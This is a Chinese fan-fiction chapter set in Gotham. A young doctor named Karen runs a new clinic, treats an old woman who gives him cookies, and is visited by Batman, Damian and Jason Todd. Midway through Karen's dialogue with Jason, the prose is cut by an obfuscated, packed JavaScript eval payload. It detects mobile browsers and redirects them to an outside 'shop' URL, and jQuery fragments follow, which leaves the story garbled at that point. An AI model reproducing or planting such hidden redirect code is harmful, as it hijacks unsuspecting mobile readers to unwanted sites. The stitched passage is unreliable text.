1
诊所开业的第二天，哥谭显得很平静，虽然远远传来一些骂战的声音，但至少没有飞到半空上的汽车，或一群拿着枪的游乐场工作人员。
老太太是在下午三点多进来的。
那时候卡伦正盯着窗外发呆，思考一个问题：如果今天剩下的时间都没人来，他是不是应该提前关门回去睡觉。
然后门被推开了。
进来的是一个老太太，头发花白，背有点驼，走路的时候左脚明显不敢用力。她手里拎着一个塑料袋，袋子里不知道装了什么，鼓鼓囊囊的。
卡伦看了她一眼。
普通人。灵魂是灰的，带一点点暖色——那种活了一辈子、见过世面、但没被世面打倒的人才有的颜色。
“小伙子，你是新来的医生？”老太太一边说一边往柜台这边走，“我听说这儿开了家新诊所，过来看看。”
卡伦点点头：“脚怎么了？”
老太太愣了一下，然后笑了：“你这眼睛够尖的。扭了，昨天从菜市场出来的时候踩空了。”
“坐。”卡伦指了指旁边的椅子。
老太太坐下，把塑料袋放在脚边，自己弯腰去卷裤脚。卡伦走过去，蹲下来，接手了她的动作。
老太太又愣了，然后笑得更开了：“哟，小伙子还挺贴心。”
卡伦没接话，低头检查她的脚踝。肿了，但不算严重，没伤到骨头。
“不严重，”他说，“冰敷，少走路，几天就好。”
他站起来，走到柜台后面，从冰箱里拿了个冰袋（他也不知道自己为什么要准备冰袋，但就是准备了），又拿了卷绷带，走回来蹲下，开始给她包扎。
老太太低头看着他忙活，嘴里没闲着：
“小伙子多大了？”
“二十左右吧。”卡伦随口答——实际18，但说二十省事。
“有对象没？”
“……没有。”
“哎呀，这么俊的小伙子没对象？姑娘们都瞎了眼了？”
卡伦手上的动作顿了一下，决定不接这话。
老太太继续：“你一个人开诊所？家里人呢？”
卡伦想了想，决定说实话：“不在。”
老太太沉默了一秒，然后说：“哦，那你自己可得照顾好自己。”
语气很平常，就像在说“今天天气不错”。
卡伦抬头看了她一眼。
老太太冲他笑了笑，脸上的皱纹挤在一起，眼睛亮亮的。
卡伦低下头，继续包扎。
“好了，”他站起来，“三天别走太多路，有需要再来。”
老太太站起来，试着踩了踩地，点点头：“行，舒服多了。多少钱？”
卡伦想了想：“……不用。”
老太太瞪大眼睛：“那怎么行？你开门做生意的，不收钱怎么活？”
卡伦不知道该怎么解释“我对生活水平没什么追求”这件事，只好说：“开业优惠。”
老太太盯着他看了几秒，突然笑了。
“行，开业优惠。”她弯腰拎起脚边那个塑料袋，往柜台上一放，“那这个你收着。”
卡伦看着那袋东西——是一个透明的食品盒，里面整整齐齐码着饼干，手工做的，形状不太规则，但闻着挺香。
老太太：“我自己烤的。本来要带给我孙子的，他住那边，结果脚崴了就没去成。给你了。”
卡伦：“……不用——”
“拿着。”老太太打断他，语气不容商量，“你不收钱，总得收点别的。不然我心里过不去。”
卡伦看了看那盒饼干，又看了看老太太。
老太太的眼睛亮亮的，等着他收下。
卡伦伸手，把饼干盒拿起来，放到柜台里面。
“谢谢。”他说。
老太太笑得眼睛眯成一条缝：“这就对了。行，我走了，小伙子好好干。”
她转身，慢慢往外走。走到门口又回头：“对了，你叫什么？”
卡伦：“卡伦。”
老太太点点头：“卡伦，好名字。我叫玛莎，就住街角那栋楼，有空来坐。”
门关上了。
哥谭还有这样的人吗？
不知道和我比起来谁更奇怪。
也对啊，哥谭毕竟是个大城市，虽然10个砖头砸下去能砸中五个犯过点法的人（还有三个空了）但至少还是有普通人的不是？
对吧？刚才那个老太太的大衣口袋里不是枪对吧？
卡伦站在柜台后面，盯着那盒饼干看了很久。
他其实不太确定该怎么处理这个东西。在魔法世界那十几年，没人给他送过饼干。笼子里没有，师傅那儿没有，后来那些年——更不可能有。活着就行，哪有饼干。
他把饼干盒往柜台角落里推了推，眼不见为净。
然后门又被推开了。
---
2
这次进来的不是一个人，是俩。
一个大的，一个小的。
大的那个一身黑，披风拖到地上，站那儿像根会喘气的烟囱。小的那个五彩缤纷，双手抱胸，下巴抬得能戳死人，眼睛正以每秒八百转的速度扫描诊所的每个角落。
卡伦沉默了三秒。
“……我这儿不收蝙蝠。”
蝙蝠侠没说话。
达米安开口了：“你这地方有魔法痕迹。谁布的？”
卡伦看了他一眼，又看向蝙蝠侠。
蝙蝠侠终于开口，声音低得像从地底下传上来的：“扎塔娜说你在这儿。”
卡伦点头：“嗯。”
蝙蝠侠：“那个魔法阵，谁教的？”
卡伦：“我师傅。”
蝙蝠侠：“你师傅是谁？”
卡伦：“不知道。”
蝙蝠侠：“……”
达米安插嘴：“不知道是什么意思？”
卡伦想了想，用他能想到的最简单的说法解释：“就是收了两年徒弟，没报名字，然后就走了。”
达米安眉头皱起来，正要说什么，被蝙蝠侠抬手制止了。
蝙蝠侠站在那里，沉默地打量着卡伦。卡伦也看着他，表情淡淡的，没什么特别的反应——没有紧张，没有防备，也没有那种“哇是蝙蝠侠”的激动。就好像门口站的是个送快递的，只不过这个快递员穿得黑了点。
沉默持续了大概十秒。
卡伦打破沉默：“还有事？”
卡伦扭头看了看诊所墙上挂着钟，现在已经晚上10点了，他平时就睡在诊所的休息室里，虽然对这两只夜行动物来说，可能还是个非常早的时间，但他确实已经打算睡了。
然后他转身，大蝙蝠和披着鲜艳小鸟皮的小蝙蝠已经消失了。
卡伦：？
---
3
大概过了10分钟，卡伦收起手机，准备去洗漱，诊所的门又开了。
真是的，白天客人没两个，晚上蝙蝠小鸟一堆，这里是什么动物诊所吗？
杰森溜进来，手里拎着一袋东西，往柜台上一放。
“老头子刚才来了？”
卡伦点头。
杰森看了一眼门口的方向：“带那小子了？”
卡伦又点头。
杰森笑了一声：“来验货的。他觉得你过关了。”
卡伦：“……我没申请。”
杰森：“在这地方，不用申请。他看过就行。”
卡伦低头看了看杰森扔在柜台上的那袋东西——是一袋薯片，和他之前被偷的那个牌子一模一样。
值得一提的是，这件事还是他．几个月前．偶然回哥谭和杰森碰上时发生的。
他抬头看杰森。
杰森在看天花板。
卡伦：“……这是还我的？”
杰森：“不知道你在说什么。”
卡伦：“每次遇上你，我的安
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444100|201073||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
全屋里就会莫名其妙少掉一些薯片。”
杰森：“那得问你自己。”
卡伦：“监控拍到你拿的。”
杰森愣了一下：“你这几个不超过三天的临时落脚点还有监控？”
卡伦：“没有。”
杰森：“……”
卡伦：“但你现在承认了。”
杰森沉默了三秒，伸手去够那袋薯片。
卡伦手更快，直接把袋子收进柜台下面。
杰森瞪他。
卡伦面无表情：“进了我的门，就是我的。”
杰森：“……你讲不讲理？”
卡伦：“不讲。”
杰森翻了个白眼，走到角落那张破椅子前坐下，脚往旁边的小茶几上一搭。
卡伦看着那只脚，又看了看那张小茶几。
杰森：“怎么？”
卡伦：“那是放杂志的。”
杰森：“你有杂志吗？”
卡伦：“……”
杰森：“那不就得了。”
卡伦决定不跟他计较，低头继续收拾东西。收拾了一会儿，突然想起一件事。
“对了，”他抬头，“刚才那个小的，是谁？”
杰森正在研究天花板上的一道裂缝，随口答：“达米安。蝙蝠侠的儿子。”
卡伦：“……蝙蝠侠有儿子？”
杰森：“说来话长。反正就是有。”
卡伦想了想：“他刚才进门的时候，把每一个角落都看了一遍。”
杰森：“正常。”
卡伦：“还问我魔法阵是谁布的。”
杰森：“正常。”
卡伦：“看我的眼神像在看嫌疑人。”
杰森笑了一声：“那更正常。他看谁都那样。”
卡伦沉默了一会儿，又低头继续收拾。
过了一会儿，他突然开口：“你说，我诊所外面现在有几个监控是蝙蝠家的？”
杰森被逗笑了：“怎么，担心了？”
卡伦摇头：“不是。就是好奇，他们装监控之前，打不打招呼。”
杰森笑得更厉害了，笑完又靠回椅子上，闭上眼睛。
“放心吧，”他说，“老头子对你没意见。有意见的话，刚才就不是站门口了。”
卡伦没接话。
诊所里安静下来，只有墙上老钟的滴答声。
过了一会儿，卡伦突然问：“那个老太太，你刚才进来的时候碰见了吗？”
杰森眼睛都没睁：“哪个老太太？”
卡伦：“就是……给我送饼干的。”
杰森睁开眼，看着他，表情有点奇怪。
卡伦：“怎么？”
杰森：“你刚才说什么？有人给你送饼干？”
卡伦点头，指了指柜台角落那个透明盒子。
杰森盯着那盒饼干看了几秒，又看看卡伦，表情慢慢变得微妙起来。
“……开业第一天，有人给你送手工饼干？”
卡伦：“她说她脚崴了，来换药的。”
杰森沉默了两秒，突然笑了。
“行啊，伦尼，”他说，“开业第一天，病人送饼干，蝙蝠侠上门视察，达米安来踩点——你这诊所生意够红火的。”
卡伦想起黄历上那行字，突然有点想把它撕了。
但他只是拿起那盒饼干，打开，递到杰森面前。
杰森愣了一下。
卡伦：“吃不吃？”
杰森看了他一眼，伸手拿了一块。
嚼了两下，点点头：“还行。”
卡伦也拿了一块，咬了一口。
确实还行。
他靠在柜台后面，嚼着饼干，看着窗外渐渐暗下来的天色。
哥谭的傍晚，街上没什么人。远处偶尔传来警笛声，近处是杰森嚼饼干的咔嚓声。
卡伦心想：所以这就是开诊所的感觉？
好像，也还行。